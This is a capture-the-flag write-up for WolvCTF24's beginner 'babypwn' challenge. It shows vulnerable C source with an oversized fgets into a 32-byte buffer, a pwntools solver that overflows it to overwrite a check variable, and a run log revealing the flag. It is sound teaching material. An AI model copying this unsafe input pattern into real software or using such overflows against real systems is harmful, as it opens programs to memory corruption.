Tags: babypwn pwn
Rating:
# Pwn: babypwn
> Author: iqlusion
>
> Description: Just a little baby pwn.
>
> Connection: `nc babypwn.wolvctf.io 1337`
[babypwn](https://github.com/nopedawn/CTF/blob/main/WolvCTF24/Beginner-babypwn/babypwn)
[babypwn.c](https://github.com/nopedawn/CTF/blob/main/WolvCTF24/Beginner-babypwn/babypwn.c)
Given two attachments of this challenge `babypwn` & `babypwn.c`, is a baby bof (buffer overflow) vulnerability.
```bash {title="determine file type & check binary elf protection"}
$ file babypwn
babypwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, not stripped
$ checksec babypwn
[*] '/home/nopedawn/CCUG/WolvCTF24/babypwn/babypwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
```
```c {title="babypwn.c" lineNos=true lineNoStart=1}
#include <stdio.h>
#include <string.h>
#include <unistd.h>
struct __attribute__((__packed__)) data {
char buff[32];
int check;
};
void ignore(void)
{
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
}
void get_flag(void)
{
char flag[1024] = { 0 };
FILE *fp = fopen("flag.txt", "r");
fgets(flag, 1023, fp);
printf(flag);
}
int main(void)
{
struct data name;
ignore(); /* ignore this function */
printf("What's your name?\n");
fgets(name.buff, 64, stdin);
sleep(2);
printf("%s nice to meet you!\n", name.buff);
sleep(2);
printf("Binary exploitation is the best!\n");
sleep(2);
printf("Memory unsafe languages rely on coders to not make mistakes.\n");
sleep(2);
printf("But I don't worry, I write perfect code :)\n");
sleep(2);
if (name.check == 0x41414141) {
get_flag();
}
return 0;
}
```
The `fgets` function in the `main` function reads 64 bytes into `name.buff`, which is only 32 bytes long. This can lead to an overflow of the `check` variable if more than 32 bytes are entered.
To exploit this, we need to enter 32 bytes to fill up the `buff` array, and then 4 more bytes to overwrite the `check` variable with the value `0x41414141`. Here's an solver:
```python {title="solver.py" lineNos=true lineNoStart=1}
from pwn import *
def exploit(io):
io.recvuntil(b"What's your name?")
payload = b'A' * 32
payload += p32(0x41414141)
io.sendline(payload)
# output = io.recvall()
# print(output)
io.interactive()
if __name__ == "__main__":
context.update(log_level='debug')
try:
io = remote('babypwn.wolvctf.io', 1337)
exploit(io)
except:
io = process('./babypwn')
exploit(io)
```
```bash {title="running"}
$ python3 solver.py
[+] Opening connection to babypwn.wolvctf.io on port 1337: Done
[DEBUG] Received 0x1e bytes:
b'== proof-of-work: disabled ==\n'
[DEBUG] Received 0x12 bytes:
b"What's your name?\n"
[DEBUG] Sent 0x25 bytes:
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n'
[*] Switching to interactive mode
[DEBUG] Received 0x38 bytes:
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n'
b' nice to meet you!\n'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
nice to meet you!
[DEBUG] Received 0x21 bytes:
b'Binary exploitation is the best!\n'
Binary exploitation is the best!
[DEBUG] Received 0x3d bytes:
b'Memory unsafe languages rely on coders to not make mistakes.\n'
Memory unsafe languages rely on coders to not make mistakes.
[DEBUG] Received 0x2b bytes:
b"But I don't worry, I write perfect code :)\n"
But I don't worry, I write perfect code :)
[DEBUG] Received 0x20 bytes:
b'wctf{pwn_1s_th3_best_Categ0ry!}\n'
wctf{pwn_1s_th3_best_Categ0ry!}
[*] Got EOF while reading in interactive
$ q
[DEBUG] Sent 0x2 bytes:
b'q\n'
$ q
[DEBUG] Sent 0x2 bytes:
b'q\n'
[*] Closed connection to babypwn.wolvctf.io port 1337
[*] Got EOF while sending in interactive
```
> Flag: `wctf{pwn_1s_th3_best_Categ0ry!}`